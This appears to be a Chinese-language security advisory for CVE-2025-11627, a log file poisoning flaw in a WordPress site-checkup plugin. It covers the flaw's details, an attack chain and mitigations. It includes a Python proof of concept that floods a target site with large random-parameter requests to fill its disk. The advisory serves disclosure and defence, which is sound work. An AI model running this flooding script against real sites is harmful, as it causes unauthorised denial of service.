CVE-2025-11627 WordPress Site Checkup插件日志文件污染漏洞

漏洞信息

漏洞编号

CVE-2025-11627

漏洞类型

日志文件污染

CVSS评分

6.5 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

Site Checkup Debug AI Troubleshooting with Wizard and Tips for Each Issue WordPress Plugin

漏洞概述

CVE-2025-11627是WordPress插件"Site Checkup Debug AI Troubleshooting with Wizard and Tips for Each Issue"中的一个安全漏洞。该漏洞存在于所有版本直至1.47版本，属于日志文件污染（Log File Poisoning）类型。漏洞源于该插件在处理错误日志时缺乏适当的输入验证和访问控制机制，允许未认证的攻击者能够向日志文件中插入任意内容。攻击者可以利用此漏洞向日志文件写入大量垃圾数据或恶意内容，导致磁盘空间耗尽，从而造成拒绝服务（DoS）攻击。此外，污染后的日志文件可能干扰系统管理员对真实错误的判断，影响故障排查和系统监控。由于该漏洞无需认证即可利用，且攻击复杂度较低，因此具有较高的实际威胁性。建议受影响的用户尽快升级到最新版本或采取临时缓解措施。

技术细节

该漏洞主要存在于插件的日志处理模块中。根据代码分析，漏洞位于includes/catch-errors/class_bill_catch_errors.php文件的第80行附近。插件在记录错误日志时，直接将用户输入或请求数据写入日志文件，而没有对内容进行适当的过滤、转义或长度限制。攻击者可以通过发送特制的HTTP请求（如包含恶意payload的URL参数、POST数据或HTTP头信息）来触发日志记录功能。由于插件未验证请求来源且未限制写入内容，攻击者可以向日志文件注入任意文本内容，包括大量重复字符或特殊构造的数据。多次利用此漏洞会导致日志文件体积快速膨胀，最终填满服务器磁盘空间，导致网站服务中断。此外，攻击者还可能通过注入特定格式的日志条目来干扰日志分析工具的正常工作。修复版本在3380169变更集中针对此问题进行了改进。

攻击链分析

STEP 1

步骤1

攻击者识别目标WordPress网站并确认安装了存在漏洞的Site Checkup插件（版本<=1.47）

STEP 2

步骤2

攻击者构造包含大量随机数据或恶意payload的HTTP请求，目标是触发插件的日志记录功能

STEP 3

步骤3

攻击者发送特制请求，由于插件缺乏输入验证和访问控制，恶意内容被直接写入日志文件

STEP 4

步骤4

攻击者重复发送大量请求，持续向日志文件写入数据，导致磁盘空间快速消耗

STEP 5

步骤5

当日志文件占满磁盘空间时，网站服务崩溃，造成拒绝服务（DoS）状态

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests
import random
import string

target_url = "http://target-wordpress-site.com"
plugin_path = "/wp-content/plugins/site-checkup/"

# Generate random content to poison log file
def generate_payload(size=10000):
    return ''.join(random.choices(string.ascii_letters + string.digits, k=size))

# Send malicious requests to trigger log poisoning
for i in range(100):
    payload = generate_payload()
    params = {
        'error_test': payload,
        'debug': '1'
    }
    try:
        response = requests.get(target_url, params=params, timeout=10)
        print(f"Request {i+1}: Status {response.status_code}")
    except Exception as e:
        print(f"Request {i+1} failed: {e}")

print("Log poisoning attack completed. Check log file size.")

影响范围

Site Checkup Debug AI Plugin < 1.48

防御指南

临时缓解措施

在无法立即升级的情况下，可采取以下临时缓解措施：1）禁用或删除该插件；2）限制日志目录的写入权限；3）设置日志文件大小上限并启用自动清理；4）通过Web应用防火墙阻止包含异常参数的请求；5）增加磁盘空间监控频率，及时发现异常增长。建议在条件允许时尽快升级到修复版本1.48或更高。